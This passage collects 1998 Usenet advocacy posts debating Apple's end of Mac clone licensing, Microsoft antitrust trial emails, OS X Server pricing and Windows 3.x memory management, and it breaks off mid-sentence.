References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtoNull.com> <cirby-1711981214510001@pm51-46.magicnet.net> <36599F27.A6646F53@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> You keep wanting to conveniently forget that neither Motorola nor Umax
> ever sold Mac clones.
You're wrong, and more to the point, you're *aggressively* wrong.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
From: nobody@no.net
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.unix.advocacy
References: <7329lg$ot0$1@nnrp02.primenet.com>
Sender: nobody@no.net
Message-ID: <3659b8af.0@news2.one.net>
Date: 23 Nov 1998 14:34:07 -0500
Organization: OneNet Communications News Hub
jseymour@jimsun.LinxNet.com got plastered and spewed this unto the network:
>In article <733u6n$a06$1@nnrp02.primenet.com>,
> Stephen Edwards <ja207030@primenet.com> writes:
>> Stephen Edwards <ja207030@primenet.com> wrote:
>> Well, considering what many of you have responded with, it seems like I
>> really have jumped the gun. Now that some of you have stated that other
>> UNIX variants have the same or higher requirements, it sort of puts
>> everything back into perspective.
>We need to adjust it back the other way just a bit :-).
>Yes, it's true, commercial Unixen *may* have similar requirements.
Most commercial Unices run on 64-bit or higher CPUs. I imagine that 64-bit
code and data take up a lot more RAM than 32-bit code/data. And if there
are any 128-bit systems out there, well... The HP-UX version of a certain
Microsoft product requires about 64 Megs of RAM, where the Windows version
will run in somewhat less (8 Megs?). And also I've heard somewhere that a
program as simple as XClock is a lot bigger on some commercial Unices than
it is on 32-bit systems like Linux.
And just to see if I'm right or not, I propose a test. Compile
the following "Hello world!" program on your commercial UNIX
and tell me how big the file is:
#include <stdio.h>
int main()
{
printf("Hello world, your system has %d-byte ints.\n", sizeof(int));
}
See if you can fit that much in 4508 bytes on HP-UX. And it should tell
you that your system has 8-byte ints (on a 64-bit system) or 16-byte
ints (on a 128-bit system), where on Linux/i[3-6]86 an int takes only 4
bytes.
--
__
/ \
| | The CDA returns-- Fight the CDA II!
\/
/\ http://www.eff.org/blueribbon/
/ \
From: "bobsun" <bobsun@worldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 24 Nov 1998 04:51:17 GMT
Organization: AT&T WorldNet Services
Message-ID: <73de05$cio@bgtnsc01.worldnet.att.net>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <72tuss$4dd@bgtnsc01.worldnet.att.net> <72uv0r$fj0@mozo.cc.purdue.edu> <73al2q$e98@bgtnsc02.worldnet.att.net> <73ap4d$bik@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirror after @ wrote in message
<73ap4d$bik@newsb.netnews.att.com>...
>bobsun <bobsun@worldnet.att.net> wrote:
>>
>>As a consequence, current economic and political considerations eliminate
>>Apple as a significant participant in these markets. Governments of large
>>and powerful countries such as India and PRC won't permit the use of a
>>closed architecture, at least without national participation. Perhaps
Apple
>>will finally recognize this and make some accommodations, such as
Microsoft
>>has done.
>
>Dunno about PRC, but the government decides what runs in government offices
>only in India. Yes, that is a sizeable but shrinking and unprofitable
>portion of the economy. Actually, in India today, anything that will help
>the software industry will probably be adopted l,s and barrel.
>
>-arun gupta
As you likely know, India still maintains significant control over the
economy through import duties.
We in the US are familiar with the software industry in India, as it is
becoming a major "export". However, there is also a booming business in
locally manufactured PCs, with some brands becoming known locally,
Presently, Apple has no position in this market. Cheaply produced PCs,
supported by MS and locally produced software dominates in one of the
world's fastest growing markets. This trend won't put Apple out of business,
but will continue to isolate the business to one continent and to one
economic class. Apple needs to develop a response which comprehends the
need for locally produced, cheaply made hardware.
bobsun
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: "Knife the baby" finally appears
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <cirby-1611981402400001@pm61-11.magicnet.net> <3651B16C.DB43A980@spamtoNull.com> <F2L054.DJE@T-FCN.Net> <3659AEE8.D52972C0@spamtoNull.com>
Message-ID: <3659c39f.0@news.depaul.edu>
Date: 23 Nov 98 20:20:47 GMT
In comp.sys.next.advocacy Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Maury Markowitz wrote:
> >
> > Which is simply sidestepping the point. The point is not whether or not
> > they remember the e-mails, but whether or not the e-mails are legit. They
> > appear to be lefit, regardless of whether of not they are remembered.
> > However this does seem to suggest that you no longer wish to suggest they
> > are faked, or of lessor value that other documents.
> What I have been saying all along is very simple. If you or I was
> presented with an email it was claimed we had authored some years
> earlier, and we could not recall writing it, we could not say with
> certainty whether we had actually written it or not. However, if we were
> presented with signed, notarized documents, and we could recognize our
> own signatures clearly enough, and verify the signatures through the
> notary's records, then we could concede to having signed it whether we
> remembered it or not. In the first case we could not say that forgery
> had not occurred. In the second we could.
You're acting as if these emails are of unknown provenance. They
are not. They are coming off of Microsoft's own hardware, and
the DOJ most likely has records of where at Microsoft they got
particular emails. In fact, the emails were probably given
to the DOJ *by Microsoft*.
In other words, Microsoft gathered up their own email, and
gave it to the DOJ. Microsoft can't very well claim that they
don't know where the email came from.
If there were any issues with the email, Microsoft would have
objected to their use as evidence. They have not. Since they
have not objected to the use of the email, they'd have a hard
time using that in an appeal.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Date: Mon, 23 Nov 1998 21:37:05 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <stevehix-2311982137060001@192.168.1.10>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtoNull.com> <cirby-1711981214510001@pm51-46.magicnet.net> <36599F27.A6646F53@spamtoNull.com> <cirby-2311981350380001@pm53-43.magicnet.net>
Organization: Close to None
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > You keep wanting to conveniently forget that neither Motorola nor Umax
> > ever sold Mac clones.
Earth to Jonathan...
...oh, never mind.
--
Do not argue with the forces of nature,
for you are small, insignificant,
and biodegradable.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 01:02:08 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199811240102082736426@ts5-42.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtoNull.com> <cirby-1711981214510001@pm51-46.magicnet.net> <36599F27.A6646F53@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> You keep wanting to conveniently forget that neither Motorola nor Umax
> ever sold Mac clones. The Mac clones were sold by *new* spin-off
> companies created specifically for the purpose of marketing and selling
> Mac clones.
You need to do research before opening your mouth. Both Motorola and
Umax sold clones. Umax sold them through resellers ( MacWarehouse,
MacConnection, PC Connection, but with the Umax name as in Umax C500
(the computer I am typing on). You can still get service from Umax
(http://www.supermac.com). I purchased mine through PC/Macconnection .
Read more.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 01:02:14 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199811240102142736776@ts5-42.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <cirby-1711981219330001@pm51-46.magicnet.net> <3659A155.360E6@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> There are, I'd say, less than a *dozen* emails currently admitted into
> to evidence thus far which are highly controversial. You're right
> though--those dozen come out of a body of thousands, from which the DOJ
> can glean only a dozen or so to support its accusations. I wish I could
> understand what you meant by your last statement above. I cannot
> understand it...:) (What does "Microsoft email products" have to do with
> questionable and controversial email content?)
No.. they are only using a dozen or so... that doesnt mean there arent
more.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 01:02:20 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199811240102202737142@ts5-42.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <3651B5EA.68BA8B50@spamtoNull.com> <19981117232502137010@pm2-1-02.aug.com> <3659D9C5.7B23304F@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > Actually, in th elegal sense, a corporation and a person are both legal
> > entities. Both can be damaged, sue, be sued and share a host of other
> > legal similarities.
> >
>
> This is certainly true. But it is also true that legally there is a
> distinct difference between what a company releases as a public
> statement (ex. press release) and what one of its employees says when
> asked to give his personal opinion at a trial.
.. depending on how the question is phrased and answered.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 01:02:25 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199811240102252737447@ts5-42.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net> <73cqgm$a85$1@bunyip.cc.uq.edu.au>
Christopher Smith <drsmithy@usa.net> wrote:
> >Maybe you should try a newer computer like the Mac.
>
> That's that "modern" computer/OS with no protected memory, poor
> multitasking, no SMP and memory management even Windows *3.0* was better
> than isn't it ?
That sounds more like Windows to me.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 01:02:52 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199811240102522739113@ts5-42.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <364B322A.85F81455@spamtoNull.com> <cirby-1211981628000001@pm61-29.magicnet.net> <364C7C35.2405E875@spamtonull.com> <72k3sa$6dn@newsb.netnews.att.com> <19981114211833178855@pm2-3-11.aug.com> <3650685E.EC7DF91F@spamtoNull.com> <19981116223630225692@pm2-3-21.aug.com> <3651B20C.EFF33ACD@spamtoNull.com> <19981117232506137270@pm2-1-02.aug.com> <3659DA0B.27E85715@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >
> > Bzzt - perjuryhas not been charged or proved. Many legal experts have
> > publiclly stated perjury could not be proved... and the case would just
> > as likely NOT have been reopened. Her lawyers were ready to bail. Her
> > backers were ready to bail.
> > --
>
> Bzzzt--then why the $850,000 pay off? "Services rendered"....?
I dont know why there was a "settlement". I know the case was thrown out
of court for lack of merit. I know Jones said she was going to appeal.
She also said she wanted more than $1 million AND an apology. She got
$850K and no apology.
--
Remove nojunk from my email address to reply by email.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 01:02:40 -0500
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <199811240102402738349@ts5-42.aug.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> So, then, Apple killing off Mac clone companies (or buying them off) is
> not considered "stifling competition in the marketplace"? Or is it that
> Apple can "get by" with that merely because "compared to what Microsoft
> has allegedly done" it's small potatoes?
Once again for the reading challenged...
Microsoft is a monopoly. They have to play by monopoly rules. Apple is
not a monopoly. They dont have to play by monopoly rules... and while
Apple DID pull the licenses... they didnt threaten the companies with
pulling the licenses if the companies didnt buy this or that. .they just
pulled the licenses. Big differnece.
--
Remove nojunk from my email address to reply by email.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with
QuickTime Vectors
Date: 23 Nov 98 23:14:35 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27F9CDE-18B0CE@206.165.43.34>
References: <B27F7795-FEE36@206.165.43.34>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
I said:
>And for that, you need [at least] a 3x3 matrix and the full color-handling
>of GX. Let's throw in the ATSUI text block into GX and QuickTIme while
>we're at it, as well as printing capabilities for QT movies that are able
>to keep the device-independence of QT vectors as well as the non-
>opaqueness
>of QT vectors and other QT layered images -if Apple won't do it, I will.
>But it will only work on systems that have MacOS 8.5 or earlier installed.
What I meant to say is that if Apple won't provide a way of printing QT
vectors and layered images, I will, by translating QT vectors back into GX,
and by extracting the other track's images and turning them into
overlapping bitmap shapes. Since GX and QT share the same color model and
vector API, this shouldn't be overwhelmingly difficult.
The only text-block handling that I'll provide in GXFCN is rudimentary
(probably not up to the level of the sample code for GXTextEdit unless my
comprehension improves). I have no plans on doing a GX typography codec for
QuickTime although someone from Apple has suggested that I do so. THEY
should do it themselves and make sure that it includes the ATSUI text-block
features, as well as the ability to print as above.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 24 Nov 1998 06:27:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73djku$itc@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com>
On Mon, 23 Nov 1998 15:10:17 GMT,
spagiola@my-dejanews.com <spagiola@my-dejanews.com> wrote:
>I don't care what they CALL it. Fact is, the OS formerly known as NeXTSTEP,
>OPENSTEP, and Rhapsody is a great POWER USER OS. Many of us have been using it
>as such for the best part of a decade. Many of us would very much like to use
>the new version (ie OS X Server) in the same way.
So would I. As it stands now, I'll be running NT on all my machines until
March '99 or so. After than? Maybe OSX on a new g3/4, assuming that I can
make money with it.
>If Apple ends up pricing it prohibitively, they will lose out on this
>potential market. And their developers will likewise lose out on a potential
>market for their apps, and will have to wait for plain-vanilla OS X to come
>out.
I don't think that Apple has any thought (good or bad) about YB developers
right now. The only YB App on Apple's radar is WebObjects.
Given the choice of pissing off Abode/Quark/MacroMedia and pissing off P&L
AFS or Caffeine, who would you fuck over? As much as Greg and Mmalc seem like
good guys, they are getting the shaft. It's business, nothing personal.
That doesn't mean that YB is doomed. Apple is still working on it, and
they are making a lot of money on sales of WO.
>Look, forget the name. Just sticking 'server' in the name doesn't mean
>anything, just like MS putting '97' in Windows 97's name was no guarantee
>that it would ship that year. Names are purely marketing constructs. Fact is,
>OS X Server has all it needs to be a great user OS, and Apple would be
>incredibly stupid not to take advantage of this, especially when by doing so
>it would also even further piss off developers it badly needs to make its
>forthcoming consumer OS X version a success.
Heh, I'm on your side.
I am not saying that I don't think that Apple should/shouldn't do something, I
am saying that I expect Apple to do/not do something. I do not speak for Apple
and I've been wrong about my guesses before. I was wrong about the iMac and I
was wrong about Apple dropping DPS. I may have been right about WO4 being late.
>Now, if they want to bundle OS X Server with Web Objects and other stuff, and
>sell it for what MS charges for NT Server, fine. AS LONG AS they ALSO sell a
>version with just the OS -- I don't even care for the development tools -- for
>what MS charges for NT _Workstation_.
I don't speak for Apple, but I very much doubt this will happen. I might be
wrong, but I am pretty sure that Apple will sell a $1,500+ copy with WO and
a developer's copy (for YB and WO on OSX and NT) for about $500.
I don't expect any version for under $500.
>I'm waiting too. And waiting. And waiting. What i'm saying now is that IF
>they decide to go for a high-price strategy, they are likely to piss off a
>whole lot of people. People like me, they probably don't care. People like
>their yellowbox developers, they damn well ought to care, and if they do not
>it sure doesn't bode well for their long-term survival, no matter how well
>they may be doing now.
Adobe and Quark are much more important to Apple's long-term survival than
any existing YB App.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 06:25:10 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73djg6$isl@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com>
On Mon, 23 Nov 1998 11:11:09 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Sal Denaro wrote:
>> The quote was "Milk the mac for all it's worth, while moving on to the
>> next big thing"
>>
>> Between 1986 and 1996, Apple milked the Mac for all it was worth, but
>> didn't move on to the next big thing.
>>
>> This is _common_ practice in the world of business. Ford milked the Model-T
>> for all it was worth while working on the Model-A. Microsoft milked Win3.x
>> for all it was worth while working on WinNT and Win9x.
>>
>> Why anyone is shocked by this quote is beyond me.
>
>What shocks me is why anyone would want to do business with a company
>intent on milking old technology when there are much better alternatives
>available.
Why would anyone want to do business with 3dfx, aren't they "milking" the
VooDoo2 while they work on the VooDoo3?
Or Microsoft? Aren't they "milking" Win9x to build Win2k?
Or Redhat? Aren't they "milking" Redhat 5.x while they build Redhat 6.x?
Can you name _any_ company that doesn't build its new product lines from
money made from "milking" its old product lines?
I find it hard to believe that you don't see this.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 06:25:11 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73djg7$isl@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net> <73cqgm$a85$1@bunyip.cc.uq.edu.au>
On Tue, 24 Nov 1998 09:22:51 +1000,
Christopher Smith <drsmithy@usa.net> wrote:
>>Maybe you should try a newer computer like the Mac.
>That's that "modern" computer/OS with no protected memory, poor
>multitasking, no SMP and memory management even Windows *3.0* was better
>than isn't it ?
Win3.x had better memory management? I don't think so. Have you ever written
code to manage 2mb+ memory areas using 16bit windows segmented memory? Have
you ever had to divide up parts of your program to void having any .obj's
greater than 64k? How long does it take you to fill up your 64k resource
partitions? Ever see a Win3.x machine choke when it's win.ini or system.ini
file got larger than 64k (not hard if you have a lot of fonts)
It had _fine_ memory management, assuming that you never needed more than 64k.
I won't disagree about the SMP, PM and PMT; but at least it had 32bit memory.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 06:25:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73djg8$isl@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <364B0C41.E0B76B9D@spamtoNull.com> <rbarris-ya023280001211981208460001@206.82.216.1> <364C841E.EDD11D69@spamtoNull.com> <adtF2E3rz.Jts@netcom.com> <364DB34E.916F13B3@spamtoNull.com> <72qrjl$kui@news1.panix.com> <3651B337.E0EA63B4@spamtoNull.com> <72tfvr$h34@news1.panix.com> <3659D700.234844A9@spamtoNull.com>
On Mon, 23 Nov 1998 16:43:28 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Sal Denaro wrote:
>> Do you know more about Intel's marketing plans than Intel?
>Of course!
Do you also know next weeks lottery numbers?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 06:25:13 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73djg9$isl@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <364C7F15.42A8C263@spamtoNull.com> <72k841$caq@news1.panix.com> <36503E09.44F638ED@spamtoNull.com> <david_-1611981158180001@s188-236.resnet.ucla.edu> <36519F2D.4FC80E9C@spamtoNull.com> <72tga8$h6o@news1.panix.com> <3659D926.C653C062@spamtoNull.com>
On Mon, 23 Nov 1998 16:52:38 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Sal Denaro wrote:
>> On Tue, 17 Nov 1998 11:07:09 -0500, Jonathan Harker
>> <Limeyville@spamtoNull.com> wrote:
>> >are all out of business. We cannot say, however, that we *know* that
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> >"Microsoft attempted to kill Quicktime" because there is *nothing* in
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>> >the public record about it, and Quicktime has not been killed.
^^^^^^^^^^^^^^^^^^^^^^^^^^
>>
>> There is email, that comes from Microsoft (it was urrendered to the court
>> by Microsoft, *NOT* a 3rd party) where official representatives of Microsoft
>> state that they wanted to use the threat of dropping Office for the Mac to
>> get Apple to kill off QuickTime. It is in the public record.
>
>It is *now* in "public record" only because of testimony in this trial.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Thank you.
We can now say that "Microsoft attempted to kill Quicktime" and that it is
in "the public record"
>It has no other "public record" basis.
It doesn't need any other basis.
<clip>
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 06:27:39 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73djkr$itc@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtonull.com> <72srb4$r16@newsb.netnews.att.com> <3659D5B8.1EF8DA12@spamtoNull.com>
On Mon, 23 Nov 1998 16:38:00 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>The deals negotiated with Amelio would
>have been more lucrative still--fees generally doubled, with the fees on
>laptops going up 4X or more! Jobs turned down some very high offers from
>the cloners before doing them in.
That tell you a lot about the deals that Apple cut with the cloners, that
they were willing to _double_ the prices they paid. Obviously they knew
they were underpaying for what they were getting.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 06:27:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <73djks$itc@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <72qrjm$kui@news1.panix.com> <3651B2E8.F83B7977@spamtoNull.com> <72tga6$h6o@news1.panix.com> <3659D865.9D933EE6@spamtoNull.com>
On Mon, 23 Nov 1998 16:49:25 -0500,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Sal Denaro wrote:
>> > His
>> >statements were no more than damage control made to try and smooth over
>> >a bad situation of his making.
>> As was pointed out elsewhere, those quotes were made in Oct '95 and Feb '96,
>> well before Steve came back to Apple. What damage was he controling?
>You're confusing the article quotes with the ideas themselves, or do you
>imagine that Jobs discards his thoughts immediately after they appear in
>magazine print?
In Oct '95 and Feb '96, Steve Jobs stated that he felt that cloning would have
